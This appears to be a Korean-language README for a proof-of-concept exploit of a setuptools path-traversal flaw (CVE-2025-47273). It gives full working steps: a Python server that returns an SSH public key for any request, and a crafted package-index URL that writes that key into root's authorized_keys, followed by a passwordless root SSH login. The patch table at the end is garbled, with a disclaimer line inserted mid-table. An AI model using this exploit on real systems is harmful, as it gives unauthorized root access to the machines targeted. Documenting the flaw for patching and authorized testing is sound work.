
CVE-2025-47273 — setuptools path traversal PoC
Python setuptools < 78.1.1의 경로 탐색 취약점에 대한 개념 증명 익스플로잇입니다.
PackageIndex 구성 요소의 _download_url 함수를 악용하여 공격자는 setuptools를 실행하는 프로세스의 권한으로 파일 시스템의 모든 위치에 임의의 파일을 쓸 수 있습니다.
| 필드 | 세부 정보 |
|---|---|
| 🎯 대상 | Python setuptools < 78.1.1 |
| 🐛 버그 클래스 | 경로 탐색 (CWE-22) |
| 💥 영향 | 임의 파일 쓰기 |
| 📍 공격 벡터 | 악성 패키지 인덱스 URL |
| 🔍 근본 원인 | 두 번째 인수가 /로 시작하면 os.path.join()이 tmpdir을 무시함 |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex를 호출해야 함# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys
이 서버는 경로에 관계없이 모든 GET 요청에 공개 키로 응답합니다. setuptools는 /USER/.ssh/authorized_keys 경로를 요청하지만 키 내용을 받게 됩니다.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
비밀번호 없음. 직접 root 셸. 🔑
버전 78.1.1에서 문제가 수정되었습니다.
| 패키지 관리자 | 명령어 |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu |
이 개념 증명(PoC) 코드는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다.
sudo apt upgrade python3-setuptools| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ 수동 | setuptools 릴리스 |